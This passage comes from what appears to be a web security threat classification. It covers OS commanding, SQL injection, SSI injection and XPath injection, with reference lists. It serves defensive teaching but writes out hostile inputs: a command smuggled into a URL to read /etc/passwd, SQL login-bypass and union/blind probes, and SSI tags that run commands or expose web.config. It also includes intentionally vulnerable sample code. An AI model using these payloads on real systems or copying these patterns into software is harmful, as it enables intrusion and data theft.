"LDAP Injection: Are Your Web Applications Vulnerable?", By Sacha Faust - SPI Dynamics
http://www.spidynamics.com/whitepapers/LDAPinjection.pdf
"A String Representation of LDAP Search Filters"
http://www.ietf.org/rfc/rfc1960.txt
"Understanding LDAP"
http://www.redbooks.ibm.com/redbooks/SG244986.html
"LDAP Resources"
http://ldapman.org/
4.4 OS Commanding
OS Commanding is an attack technique used to exploit web sites by
executing Operating System commands through manipulation of
application input.
When a web application does not properly sanitize user-supplied
input before using it within application code, it may be possible to trick
the application into executing Operating System commands. The
executed commands will run with the same permissions of the
component that executed the command (e.g. Database server, Web
application server, Web server, etc.).
Example
Perl allows piping data from a process into an open statement, by
appending a '|' (Pipe) character onto the end of a filename.
Pipe character examples:
# Execute "/bin/ls" and pipe the output to the open
statement
open(FILE, "/bin/ls|")
Web applications often include parameters that specify a file that is
displayed or used as a template. If the web application does not
properly sanitize the input provided by a user, an attacker may
change the parameter value to include a shell command followed by
the pipe symbol (shown above).
If the original URL of the web application is:
http://example/cgi-bin/showInfo.pl?name=John&template=tmp1.txt
Changing the template parameter value, the attacker can trick the
web application into executing the command /bin/ls:
http://example /cgi-
bin/showInfo.pl?name=John&template=/bin/ls|
Most scripting languages enable programmers to execute Operating
System commands during run-time, by using various exec functions.
If the web application allows user-supplied input to be used inside
such a function call without being sanitized first, it may be possible for
an attacker to run Operating System commands remotely. For
example, here is a part of a PHP script, which presents the contents
of a system directory (on Unix systems):
Execute a shell command:
exec("ls -la $dir",$lines,$rc);
By appending a semicolon (;) followed by an Operating System
command, it is possible to force the web application into executing
the second command:
http://example/directory.php?dir=%3Bcat%20/etc/pass
wd
The result will retrieve the contents of the /etc/passwd file.
References
"Perl CGI Problems", By RFP - Phrack Magazine, Issue 55
http://www.wiretrip.net/rfp/txt/phrack55.txt
(See "That pesky pipe" section)
"Marcus Xenakis directory.php Shell Command Execution
Vulnerability"
http://www.securityfocus.com/bid/4278
"NCSA Secure Programming Guidelines"
http://archive.ncsa.uiuc.edu/General/Grid/ACES/security/programming/#cgi
4.5 SQL Injection
SQL Injection is an attack technique used to exploit web sites that
construct SQL statements from user-supplied input.
Structured Query Language (SQL) is a specialized programming
language for sending queries to databases. Most small and industrial-
strength database applications can be accessed using SQL
statements. SQL is both an ANSI and an ISO standard. However,
many database products supporting SQL do so with proprietary
extensions to the standard language. Web applications may use
user-supplied input to create custom SQL statements for dynamic
web page requests.
When a web application fails to properly sanitize user-supplied input,
it is possible for an attacker to alter the construction of backend SQL
statements. When an attacker is able to modify a SQL statement, the
process will run with the same permissions as the component that
executed the command. (e.g. Database server, Web application
server, Web server, etc.). The impact of this attack can allow
attackers to gain total control of the database or even execute
commands on the system.
The same advanced exploitation techniques available in LDAP
Injection can also be similarly applied to SQL Injection.
Example
A web based authentication form might have code that looks like the
following:
SQLQuery = "SELECT Username FROM Users WHERE
Username = '" & strUsername & "' AND Password = '"
& strPassword & "'" strAuthCheck =
GetQueryResult(SQLQuery)
In this code, the developer is taking the user-input from the form and
embedding it directly into an SQL query.
Suppose an attacker submits a login and password that looks like the
following:
Login: ' OR ''='
Password: ' OR ''='
This will cause the resulting SQL query to become:
SELECT Username FROM Users WHERE Username = '' OR
''='' AND Password = '' OR ''=''
Instead of comparing the user-supplied data with entries in the Users
table, the query compares '' (empty string) to '' (empty string). This
will return a True result and the attacker will then be logged in as the
first user in the Users table.
There are two commonly known methods of SQL injection: Normal
SQL Injection and Blind SQL Injection. The first is vanilla SQL
Injection in which the attacker can format his query to match the
developer's by using the information contained in the error messages
that are returned in the response.
Normal SQL Injection
By appending a union select statement to the parameter, the
attacker can test to see if he can gain access to the database:
http://example/article.asp?ID=2+union+all+select+na
me+from+sysobjects
The SQL server then might return an error similar to this:
Microsoft OLE DB Provider for ODBC Drivers error
'80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]All
queries in an SQL statement containing a UNION
operator must have an equal number of expressions
in their target lists.
This tells the attacker that he must now guess the correct number of
columns for his SQL statement to work.
Blind SQL Injection
In Blind SQL Injection, instead of returning a database error, the
server returns a customer-friendly error page informing the user that
a mistake has been made. In this instance, SQL Injection is still
possible, but not as easy to detect. A common way to detect Blind
SQL Injection is to put a false and true statement into the parameter
value.
Executing the following request to a web site:
http://example/article.asp?ID=2+and+1=1
should return the same web page as:
http://example/article.asp?ID=2
because the SQL statement 'and 1=1' is always true.
Executing the following request to a web site:
http://example/article.asp?ID=2+and+1=0
would then cause the web site to return a friendly error or no page at
all. This is because the SQL statement "and 1=0" is always false.
Once the attacker discovers that a site is susceptible to Blind SQL
Injection, he can exploit this vulnerability more easily, in some cases,
than by using normal SQL Injection.
References
"SQL Injection: Are your Web Applications Vulnerable" - SPI Dynamics
http://www.spidynamics.com/support/whitepapers/WhitepaperSQLInjection.pdf
"Blind SQL Injection: Are your Web Applications Vulnerable" - SPI Dynamics
http://www.spidynamics.com/support/whitepapers/Blind_SQLInjection.pdf
"Advanced SQL Injection in SQL Server Applications", Chris Anley - NGSSoftware
http://www.nextgenss.com/papers/advanced_sql_injection.pdf
"More advanced SQL Injection", Chris Anley - NGSSoftware
http://www.nextgenss.com/papers/more_advanced_sql_injection.pdf
"Web Application Disassembly with ODBC Error Messages", David Litchfield - @stake
http://www.nextgenss.com/papers/webappdis.doc
"SQL Injection Walkthrough"
http://www.securiteam.com/securityreviews/5DP0N1P76E.html
"Blind SQL Injection" - Imperva
http://www.imperva.com/application_defense_center/white_papers/blind_sql_server_injection.html
"SQL Injection Signatures Evasion" - Imperva
http://www.imperva.com/application_defense_center/white_papers/sq
l_injection_signatures_evasion.html
"Introduction to SQL Injection Attacks for Oracle Developers" - Integrigy
http://www.net-security.org/dl/articles/IntegrigyIntrotoSQLInjectionAttacks.pdf
4.6 SSI Injection
SSI Injection (Server-side Include) is a server-side exploit technique
that allows an attacker to send code into a web application, which will
later be executed locally by the web server. SSI Injection exploits a
web application's failure to sanitize user-supplied data before they
are inserted into a server-side interpreted HTML file.
Before serving an HTML web page, a web server may parse and
execute Server-side Include statements before providing it to the
user. In some cases (e.g. message boards, guest books, or content
management systems), a web application will insert user-supplied
data into the source of a web page.
If an attacker submits a Server-side Include statement, he may have
the ability to execute arbitrary operating system commands, or
include a restricted file's contents the next time the page is served.
Example
The following SSI tag can allow an attacker to get the root directory
listing on a UNIX based system.
<!--#exec cmd="/bin/ls /" -->
The following SSI tag can allow an attacker to obtain database
connection strings, or other sensitive data contained within a .NET
configuration file.
<!--#INCLUDE VIRTUAL="/web.config"-->
References
"Server Side Includes (SSI)" - NCSA HTTPd
http://hoohoo.ncsa.uiuc.edu/docs/tutorials/includes.html
"Security Tips for Server Configuration" - Apache HTTPD
http://httpd.apache.org/docs/misc/security_tips.html#ssi
"Header Based Exploitation: Web Statistical Software Threats" -
CGISecurity.com
http://www.cgisecurity.net/papers/header-based-exploitation.txt
"A practical vulnerability analysis"
http://hexagon.itgo.com/Notadetapa/a_practical_vulnerability_analys.
htm
4.7 XPath Injection
XPath Injection is an attack technique used to exploit web sites that
construct XPath queries from user-supplied input.
XPath 1.0 is a language used to refer to parts of an XML document. It
can be used directly by an application to query an XML document, or
as part of a larger operation such as applying an XSLT transformation
to an XML document, or applying an XQuery to an XML document.
The syntax of XPath bears some resemblance to an SQL query, and
indeed, it is possible to form SQL-like queries on an XML document
using XPath. For example, assume an XML document that contains
elements by the name user, each of which contains three
subelements - name, password and account. The following XPath
expression yields the account number of the user whose name is
"jsmith" and whose password is "Demo1234" (or an empty string if no
such user exists):
string(//user[name/text()='jsmith' and
password/text()='Demo1234']/account/text())
If an application uses run-time XPath query construction, embedding
unsafe user input into the query, it may be possible for the attacker to
inject data into the query such that the newly formed query will be
parsed in a way differing from the programmer's intention.
Example
Consider a web application that uses XPath to query an XML
document and retrieve the account number of a user whose name
and password are received from the client. Such application may
embed these values directly in the XPath query, thereby creating a
security hole.
Here's an example (assuming Microsoft ASP.NET and C#):
XmlDocument XmlDoc = new XmlDocument();
XmlDoc.Load("...");
XPathNavigator nav = XmlDoc.CreateNavigator();
XPathExpression expr =
nav.Compile("string(//user[name/text()='"+TextBox1.Text+"'
and password/text()='"+TextBox2.Text+
"']/account/text())");
String account=Convert.ToString(nav.Evaluate(expr));
if (account=="") {
// name+password pair is not found in the XML document
-
// login failed.
} else {
// account found -> Login succeeded.
// Pr